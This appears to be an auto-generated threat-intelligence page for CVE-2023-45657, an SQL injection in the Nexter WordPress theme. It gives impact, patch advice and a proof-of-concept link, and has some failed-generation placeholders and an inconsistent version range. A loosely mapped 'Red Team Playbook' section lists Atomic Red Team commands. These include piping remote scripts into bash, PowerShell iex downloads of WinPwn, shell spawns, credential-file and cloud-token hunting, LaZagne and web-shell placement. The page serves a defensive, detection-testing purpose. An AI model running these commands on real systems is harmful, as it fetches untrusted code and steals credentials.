CVE-2023-45657
Overview
This vulnerability is a SQL Injection flaw caused by improper neutralization of special elements within SQL commands. The root cause lies in insufficient input validation or sanitization of user-supplied data, allowing malicious SQL code to be injected. It specifically affects the POSIMYTH Nexter WordPress theme up to version 2.0.3, where database queries incorporate unsafe user input without parameterization or escaping.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in POSIMYTH Nexter allows SQL Injection.This issue affects Nexter: from n/a through 2.0.3.
Impact
An attacker with at least low-level privileges can exploit this vulnerability to execute unauthorized SQL queries on the backend database. This can lead to unauthorized disclosure of sensitive data, such as user credentials or configuration details, and partial disruption of application availability. The attack does not require user interaction but does require the ability to send crafted requests to the vulnerable endpoints. In a business context, this can result in data breaches and compromise of customer information stored within the affected WordPress site.
Solution
Users should upgrade the POSIMYTH Nexter WordPress theme to version 2.0.4 or later, where the SQL Injection vulnerability has been addressed. Detailed patch instructions and updates are available at the Patchstack advisory: https://patchstack.com/database/vulnerability/nexter/wordpress-nexter-theme-2-0-3-sql-injection-vulnerability?_s_id=cve. No official workaround is provided, so timely updating is essential to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability present in the POSIMYTH Nexter product stems from improper neutralization of special elements used in SQL commands, commonly known as SQL Injection. This flaw allows an attacker to manipulate SQL queries by injecting malicious input into the application's database queries. The affected versions of Nexter, specifically those prior to 2.0.3, fail to adequately sanitize user inputs, enabling attackers to execute arbitrary SQL code. This can lead to unauthorized access to sensitive data, modification of database entries, or even complete control over the database server, depending on the privileges of the database user employed by the application.
Attack vectors for exploiting this vulnerability are varied and can be executed through multiple entry points within the application. An attacker may leverage forms, URL parameters, or API endpoints that interact with the database. For instance, by submitting specially crafted input that includes SQL syntax, an attacker could bypass authentication mechanisms, extract sensitive information such as usernames and passwords, or alter data integrity. In more sophisticated scenarios, attackers could escalate their privileges, allowing them to execute administrative commands or access other parts of the system that should be restricted. The ease of exploitation, combined with the potential for significant damage, underscores the critical nature of this vulnerability.
The real-world impact of this vulnerability can be severe, particularly for businesses relying on the affected version of Nexter for their operations. Successful exploitation could lead to data breaches, resulting in the exposure of sensitive customer information, financial records, or proprietary business data. Such incidents not only jeopardize customer trust but can also lead to regulatory penalties and legal ramifications, especially in industries governed by strict data protection laws. Furthermore, the financial implications of remediation efforts, including incident response, system audits, and potential downtime, could be substantial, affecting the overall business continuity and reputation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate SQL injection vulnerabilities before they can be exploited. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious traffic and preventing SQL injection attempts. Furthermore, developers should adopt secure coding practices, such as using prepared statements and parameterized queries, which inherently protect against SQL injection by separating SQL logic from user input. Regularly updating the application to the latest version, which includes patches for known vulnerabilities, is also crucial in maintaining a secure environment.
In conclusion, the SQL injection vulnerability in POSIMYTH Nexter represents a significant threat to organizations utilizing this software. The potential for data breaches and the associated business risks necessitate immediate attention and action. By understanding the technical aspects of the vulnerability, recognizing the various attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the exploitation of this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a significant development in the exploitation landscape of CVE-2023-45657. A new public proof-of-concept exploit has emerged on GitHub, enabling authenticated SQL injection attacks against POSIMYTH Nexter versions up to 2.0.3. This marks the first known availability of exploit code in the wild, coinciding with the assignment of a high CVSS score of 8.5 and the appearance of a notable EPSS score, indicating increased likelihood of exploitation. While our telemetry shows the EPSS trend is currently stable with a slight decrease, the presence of accessible exploit tools lowers the barrier for threat actors to conduct targeted attacks. This shift elevates the overall threat level from theoretical to practical, underscoring an urgent need for defenders to reassess their exposure. The availability of authenticated exploits suggests that adversaries with subscriber-level access can now more readily leverage this vulnerability, potentially leading to data compromise or further network intrusion. Consequently, the risk posture for organizations using POSIMYTH Nexter has intensified, reflecting a marked escalation in exploitability and attack feasibility.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Posimyth | Nexter | All |
cpe:2.3:a:posimyth:nexter:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2023-45657
Nexter <= 2.0.3 - Authenticated (Subscriber+) SQL Injection via 'to' and 'from'
|
RandomRobbieBF | 0 | 1 | 2023-10-20 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-45657 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/nexter/wordpress-nexter-theme-2-0-3-sql-injection-vulnerability?_s_id=cve |